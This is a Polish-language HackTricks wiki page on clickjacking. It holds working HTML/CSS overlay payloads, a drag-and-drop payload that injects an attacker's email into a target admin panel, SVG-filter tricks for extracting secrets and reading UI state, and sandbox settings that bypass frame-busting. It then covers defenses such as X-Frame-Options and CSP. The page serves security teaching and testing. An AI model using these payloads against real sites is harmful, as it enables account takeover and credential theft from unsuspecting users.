Clickjacking
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Czym jest Clickjacking
W ataku clickjacking użytkownik jest oszukiwany, aby kliknąć element na stronie, który jest albo niewidoczny, albo podszywa się pod inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobranie malware, przekierowanie na złośliwe strony, ujawnienie poświadczeń lub danych wrażliwych, przelewy pieniędzy czy zakup produktów online.
Trik: wstępne wypełnianie formularzy
Czasami możliwe jest ustawienie wartości pól formularza za pomocą parametrów GET podczas ładowania strony. Atakujący może wykorzystać to zachowanie, aby wypełnić formularz dowolnymi danymi i wysłać payload clickjackingowy, tak aby użytkownik nacisnął przycisk Submit.
Wypełnianie formularza przez Drag&Drop
Jeśli potrzebujesz, by użytkownik wypełnił formularz, ale nie chcesz bezpośrednio prosić go o wpisanie konkretnych informacji (np. adresu e-mail lub konkretnego hasła, które znasz), możesz po prostu poprosić go o Drag&Drop czegoś, co wpisze kontrolowane przez Ciebie dane, jak w this example.
Podstawowy Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Wieloetapowy payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Jeśli zidentyfikowałeś XSS, który wymaga od użytkownika kliknięcia w jakiś element, aby wywołać XSS i strona jest podatna na clickjacking, możesz to wykorzystać, aby oszukać użytkownika i skłonić go do kliknięcia przycisku/linku.
Example:
Znaleźliście self XSS w niektórych prywatnych danych konta (dane, które tylko ty możesz ustawić i odczytać). Strona z formularzem do ustawiania tych danych jest podatna na Clickjacking i możesz wstępnie wypełnić formularz przy pomocy parametrów GET.
Atakujący mógłby przygotować atak Clickjacking na tę stronę wstępnie wypełniając formularz ładunkiem XSS i oszukując użytkownika, aby wysłał formularz. Zatem, kiedy formularz zostanie wysłany i wartości zostaną zmienione, użytkownik wykona XSS.
DoubleClickjacking
Po pierwsze explained in this post, ta technika polega na poproszeniu ofiary o podwójne kliknięcie przycisku na niestandardowej stronie umieszczonej w określonym miejscu i wykorzystaniu różnic czasowych między zdarzeniami mousedown i onclick do załadowania strony ofiary podczas podwójnego kliknięcia, tak że ofiara faktycznie kliknie prawdziwy przycisk na stronie ofiary.
Przykład można zobaczyć w tym wideo: https://www.youtube.com/watch?v=4rGvRRMrD18
Przykład kodu można znaleźć na this page.
Warning
Ta technika pozwala oszukać użytkownika, by kliknął w jednym miejscu na stronie ofiary, omijając wszystkie zabezpieczenia przeciwko clickjacking. Dlatego atakujący musi znaleźć wrażliwe akcje, które można wykonać jednym kliknięciem, takie jak monity OAuth potwierdzające przyznanie uprawnień.
SVG Filters / Cross-Origin Iframe UI Redressing
Nowoczesne wersje Chromium/WebKit/Gecko pozwalają, by CSS filter:url(#id) był stosowany do cross-origin iframes. Piksele iframe’a po rasteryzacji są udostępnione grafowi filtrów SVG jako SourceGraphic, więc prymitywy takie jak feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology itp. mogą dowolnie zniekształcać UI ofiary zanim użytkownik go zobaczy, mimo że atakujący nigdy nie dotyka DOM. Prosty filtr w stylu Liquid-Glass wygląda tak:
<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
- Przydatne prymitywy:
feImageładuje bitmapy atakującego (np. nakładki, displacement maps);feFloodtworzy jednokolorowe maty;feOffset/feGaussianBlurdoprecyzowują podświetlenia;feDisplacementMapzałamuje/odkształca tekst;feComposite operator="arithmetic"implementuje dowolne operacje arytmetyczne na kanałach (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), co wystarcza do zwiększania kontrastu, maskowania oraz operacji AND/OR;feTileprzycina i replikuje próbki pikseli;feMorphologypowiększa/zmniejsza obrysy;feColorMatrixprzenosi luminancję do kanału alfa, aby zbudować precyzyjne maski.
Distorting secrets into CAPTCHA-style prompts
Jeśli endpoint możliwy do osadzenia w ramce renderuje sekrety (tokens, reset codes, API keys), atakujący może je zniekształcić tak, by przypominały CAPTCHA i wymusić ręczną transkrypcję:
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
Zniekształcone piksele oszukują użytkownika, nakłaniając go do „rozwiązania” captcha wewnątrz kontrolowanego przez atakującego , którego pattern wymusza prawdziwy sekret ofiary.
Rekontekstualizowanie danych wprowadzanych przez ofiarę
Filtry mogą chirurgicznie usuwać tekst pomocniczy/walidacyjny, zachowując jednocześnie naciśnięcia klawiszy użytkownika. Przykładowy przebieg:
feComposite operator="arithmetic" k2≈4zwiększa jasność, dzięki czemu szary tekst pomocniczy nasyca się do bieli.feTileogranicza obszar roboczy do prostokąta elementu .feMorphology operator="erode"pogrubia ciemne glify wpisane przez ofiarę i zapisuje je za pomocąresult="thick".feFloodtworzy białą płytę,feBlend mode="difference"zthick, a drugifeComposite k2≈100zamienia to w kontrastową matę luminancji.feColorMatrixprzenosi tę luminancję do kanału alfa, afeComposite in="SourceGraphic" operator="in"zachowuje tylko glify wprowadzone przez użytkownika.- Kolejne
feBlend in2="white"oraz cienkie przycięcie dają czyste pole tekstowe, po czym atakujący nakłada własne etykiety HTML (np. “Enter your email”), podczas gdy ukryty iframe nadal egzekwuje politykę haseł originu ofiary.
Safari ma problemy z feTile; ten sam efekt można odtworzyć za pomocą przestrzennych mat zbudowanych z feFlood + feColorMatrix + feComposite dla payloadów tylko dla WebKit.
Sondowanie pikseli, logika i maszyny stanów
Przycinając region 2–4 px za pomocą feTile i powielając go na 100% widoku, atakujący przekształca próbkowany kolor w teksturę obejmującą cały ekran, którą można progować, tworząc maskę booleanową:
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
Dla dowolnych kolorów, odwołanie feFlood (np. #0B57D0) wraz z feBlend mode="difference" i innym arytmetycznym composite (k2≈100, k4 jako tolerancja) daje na wyjściu biały tylko wtedy, gdy próbkowany piksel odpowiada docelowemu odcieniowi. Podawanie tych masek do feComposite z dobranymi k1..k4 daje bramki logiczne: AND przy k1=1, OR przy k2=k3=1, XOR przez feBlend mode="difference", NOT przez blendowanie względem białego. Łączenie bramek tworzy full adder w grafie filtrów, co dowodzi, że pipeline jest funkcjonalnie kompletny.
Atakujący mogą w związku z tym odczytywać stan UI bez JavaScript. Przykładowe wartości logiczne z workflow modalnego:
- D (dialog visible): sondować przyciemniony róg i testować względem białego.
- L (dialog loaded): sondować współrzędne, gdzie pojawia się przycisk, gdy jest gotowy.
- C (checkbox checked): porównać piksel checkboxa z aktywnym niebieskim
#0B57D0. - R (red success/failure banner): użyć
feMorphologyi progów czerwieni wewnątrz prostokąta banera.
Każdy wykryty stan steruje inną nakładką bitmapową osadzoną przez feImage xlink:href="data:...". Maskowanie tych bitmap przez D, L, C, R utrzymuje nakładki zsynchronizowane z rzeczywistym dialogiem i prowadzi ofiarę przez wieloetapowe workflowy (resetowanie haseł, zatwierdzenia, destrukcyjne potwierdzenia) bez ujawniania DOM.
Browser extensions: DOM-based autofill clickjacking
Poza iframowaniem stron ofiary, atakujący mogą celować w elementy UI rozszerzeń przeglądarki, które są wstrzykiwane do strony. Menedżery haseł wyświetlają rozwijaną listę autofill obok aktywnego pola. Poprzez ustawienie fokusu na polu kontrolowanym przez atakującego i ukrycie/zablokowanie rozwijanego menu rozszerzenia (opacity/overlay/top-layer tricks), wymuszony klik użytkownika może wybrać przechowywany wpis i wprowadzić wrażliwe dane do pól kontrolowanych przez atakującego. Ta odmiana nie wymaga ujawniania iframe i działa wyłącznie poprzez manipulację DOM/CSS.
- For concrete techniques and PoCs see: BrowExt - ClickJacking
Strategies to Mitigate Clickjacking
Client-Side Defenses
Skrypty wykonywane po stronie klienta mogą wykonywać działania zapobiegające Clickjacking:
- Sprawdzanie, czy okno aplikacji jest oknem głównym (top window).
- Uczynienie wszystkich ramek widocznymi.
- Zapobieganie kliknięciom na niewidzialnych ramkach.
- Wykrywanie i ostrzeganie użytkowników o potencjalnych próbach Clickjacking.
Jednak te skrypty typu frame-busting można obejść:
- Browsers’ Security Settings: Niektóre przeglądarki mogą blokować te skrypty w zależności od ustawień bezpieczeństwa lub braku wsparcia JavaScript.
- HTML5 iframe
sandboxAttribute: Atakujący może zneutralizować skrypty frame buster, ustawiając atrybutsandboxz wartościamiallow-formsluballow-scriptsbezallow-top-navigation. To uniemożliwia iframe sprawdzenie, czy jest oknem nadrzędnym, np.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
The allow-forms and allow-scripts values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like allow-same-origin and allow-modals might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.
Obrony po stronie serwera
X-Frame-Options
Nagłówek odpowiedzi HTTP X-Frame-Options informuje przeglądarki o dopuszczalności renderowania strony w <frame> lub <iframe>, pomagając zapobiegać Clickjacking:
X-Frame-Options: deny- Żadna domena nie może osadzić tej zawartości w ramce.X-Frame-Options: sameorigin- Tylko ta sama domena może osadzić zawartość.X-Frame-Options: allow-from https://trusted.com- Tylko określony ‘uri’ może osadzić stronę.- Uwaga o ograniczeniach: jeśli przeglądarka nie obsługuje tej dyrektywy, może ona nie działać. Niektóre przeglądarki preferują dyrektywę CSP frame-ancestors.
Content Security Policy (CSP) dyrektywa frame-ancestors
Dyrektywa frame-ancestors w CSP jest zalecanym sposobem ochrony przed Clickjacking:
frame-ancestors 'none'- Podobne doX-Frame-Options: deny.frame-ancestors 'self'- Podobne doX-Frame-Options: sameorigin.frame-ancestors trusted.com- Podobne doX-Frame-Options: allow-from.
Na przykład, następujące CSP pozwala na osadzanie tylko z tej samej domeny:
Content-Security-Policy: frame-ancestors 'self';
Dalsze szczegóły i bardziej złożone przykłady można znaleźć w frame-ancestors CSP documentation i Mozilla’s CSP frame-ancestors documentation.
Content Security Policy (CSP) z child-src i frame-src
Content Security Policy (CSP) to środek bezpieczeństwa, który pomaga zapobiegać Clickjacking i innym atakom polegającym na wstrzykiwaniu kodu, poprzez określenie, które źródła przeglądarka powinna dopuścić do ładowania zawartości.
Dyrektywa frame-src
- Określa dopuszczalne źródła dla ramek.
- Bardziej szczegółowa niż dyrektywa
default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Ta polityka pozwala na ramki z tej samej domeny (self) oraz https://trusted-website.com.
child-src Dyrektywa
- Wprowadzona w CSP level 2, aby określić dozwolone źródła dla web workers i ramek.
- Działa jako fallback dla frame-src i worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Ta polityka zezwala na ramki i workery z tego samego pochodzenia (self) oraz z https://trusted-website.com.
Uwagi dotyczące użycia:
- Deprecjacja: child-src jest stopniowo wycofywany na rzecz frame-src i worker-src.
- Zachowanie zapasowe: Jeśli frame-src jest nieobecny, child-src jest używany jako zapasowy dla ramek. Jeśli oba są nieobecne, używany jest default-src.
- Ścisłe określenie źródeł: Uwzględniaj tylko zaufane źródła w dyrektywach, aby zapobiec wykorzystaniu.
Skrypty frame-busting w JavaScript
Chociaż nie są całkowicie niezawodne, skrypty frame-busting oparte na JavaScript można wykorzystać, aby zapobiec osadzeniu strony w ramce. Przykład:
if (top !== self) {
top.location = self.location
}
Stosowanie Anti-CSRF Tokens
- Weryfikacja tokenów: Używaj anti-CSRF tokens w aplikacjach sieciowych, aby zapewnić, że żądania zmieniające stan są wykonywane celowo przez użytkownika, a nie przez stronę Clickjacked.
Referencje
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
- SVG Filters - Clickjacking 2.0
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


